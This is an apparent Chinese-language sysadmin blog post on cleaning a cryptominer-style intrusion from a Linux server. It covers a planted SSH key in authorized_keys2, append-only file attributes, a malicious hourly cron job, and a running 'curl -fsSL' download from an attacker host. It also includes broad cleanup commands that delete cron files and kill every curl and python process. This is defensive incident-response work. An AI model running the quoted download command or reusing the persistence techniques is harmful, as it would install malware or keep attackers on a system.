linux内存占用100%

内存占用100%

使用 top 和 free 查看

# top看不到占用内存很高的进程

# free -h
[root@node01 ~]# free -h
              total        used        free      shared  buff/cache   available
Mem:           15Gi        13Gi       1.0Gi        99Mi       463Mi       237Mi
Swap:            0B          0B          0B

可疑公钥

[root@node01 ~]# ll -a ~/.ssh
总用量 28
drwx------ 2 root root 4096  9月 20 13:31 .
dr-xr-x--- 7 root root 4096 10月 11 09:57 ..
-rw------- 1 root root 1186  9月 20 13:31 authorized_keys
-rw------- 1 root root  399  9月 20 12:20 authorized_keys2  # 就在这
-r-------- 1 root root 1823  9月 20 13:29 id_rsa
-rw------- 1 root root  395  9月 20 13:29 id_rsa.pub
-rw-r--r-- 1 root root 2617  9月 29 21:28 known_hosts


[root@node01 ~]# cat .ssh/authorized_keys2
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver
[root@node01 ~]# 

# 删除掉这玩意
[root@node01 .ssh]# rm -rf authorized_keys2
rm: 无法删除 'authorized_keys2': 不允许的操作

# 噢哟
[root@node01 .ssh]# rm -rf authorized_keys2
rm: 无法删除 'authorized_keys2': 不允许的操作

# 查看属性
[root@node01 .ssh]# lsattr authorized_keys2
-----a--------e----- authorized_keys2

# 减掉a属性
[root@node01 .ssh]# chattr -a authorized_keys2
cur attrs: 0x00080020, mask: 0x00000020
new attrs: 0x00080000

[root@node01 .ssh]# rm -rf authorized_keys2

查看进程

ps -ef # 查看可疑进程
# 发现下载进程
curl -fsSL http://bash.givemexyz.in/xms
# 下载脚本来分析

定时任务

[root@node01 .font-unix]# rm -rf /etc/cron.hourly/oanacroner1
rm: 无法删除 '/etc/cron.hourly/oanacroner1': 不允许的操作
[root@node01 .font-unix]# 
[root@node01 .font-unix]# lsattr /etc/cron.hourly/oanacroner1
-----a--------e----- /etc/cron.hourly/oanacroner1
[root@node01 .font-unix]# chattr -a /etc/cron.hourly/oanacroner1
cur attrs: 0x00080020, mask: 0x00000020
new attrs: 0x00080000
[root@node01 .font-unix]# 
[root@node01 .font-unix]# rm -rf /etc/cron.hourly/oanacroner1


# 删除定时任务文件
chattr -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

chattr -i /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

rm -rf /etc/cron.d/root /etc/cron.d/apache /etc/cron.d/nginx /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1


rm -rf  /usr/local/qcloud/stargate/admin/uninstall.sh
rm -rf  /usr/local/qcloud/YunJing/uninst.sh
rm -rf  /usr/local/qcloud/monitor/barad/admin/uninstall.sh


# 定时任务
/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。

ll /etc/cron.hourly
ll /etc/cron.daily
ll /etc/cron.weekly
ll /etc/cron.monthly

# 执行结果
[root@node01 cron.daily]# ll /etc/cron.hourly
总用量 12
-rwxr-xr-x 1 root root 575  4月  1  2020 0anacron
-rwxr-xr-x 1 root root 264 10月 11 12:08 oanacroner1 # 就这个
-rwxr-xr-x 1 root root 259  4月 24  2019 sm3-whitelist
[root@node01 cron.daily]# ll /etc/cron.daily
总用量 12
-rwxr-xr-x 1 root root 189  5月  7  2019 logrotate
-rwxr-xr-x 1 root root 618  3月 13  2020 man-db.cron
-rwxr-xr-x 1 root root 296  3月 14  2020 rpm
[root@node01 cron.daily]# ll /etc/cron.weekly
总用量 0
[root@node01 cron.daily]# ll /etc/cron.monthly
总用量 0


ll /etc/cron.hourly/oanacroner1
lsattr /etc/cron.hourly/oanacroner1
chattr -i /etc/cron.hourly/oanacroner1
chattr -a /etc/cron.hourly/oanacroner1
rm -rf /etc/cron.hourly/oanacroner1
# 这个/etc/cron.hourly/oanacroner1 文件会自动生成,可以是免密登录时,其他虚拟机传过来的


# 杀进程
kill -9 `ps -ef | grep curl | awk '{print $2}'`
kill -9 `ps -ef | grep python | awk '{print $2}'`

1

posted @ 2021-10-11 15:05  1769987233  阅读(799)  评论(0)    收藏  举报